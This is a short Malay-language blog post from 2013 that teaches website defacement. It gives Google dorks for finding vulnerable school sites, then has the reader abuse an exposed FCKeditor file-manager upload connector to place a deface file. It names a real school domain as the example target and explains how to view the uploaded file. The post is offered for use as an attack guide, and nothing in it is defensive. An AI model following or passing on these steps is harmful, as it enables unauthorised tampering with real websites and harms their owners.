Tuesday 8 January 2013
Ok kita mula .
1. Copy dork di bawah dan paste di Google dan pilih website yang vuln .
Dork :
inurl:/html/siswa.php?
inurl:/html/alumni.php?
inurl:/html/guru.php?
2. Kalau nak upload deface kena tambah exploit di link website .
Exploit :
/editor/filemanager/connectors/test.html
Contoh : Link asal - http://www.smkn1kuta.sch.id/html/guru.php?id=dbguru
- http://www.smkn1kuta.sch.id/editor/filemanager/connectors/test.html
3. Tukar Connector daripada ASP kepada PHP .
4. Anda boleh upload deface anda .
Save As .txt
Contoh : (apa2).txt
5. Boleh upload .
6. Kalau nak tengok anda punya deface, anda perlu tambah /userfiles/file/namafile.txt
Contoh tadi anda save as apa2.txt jadi link /userfiles/file/apa2.txt
Video tutorial
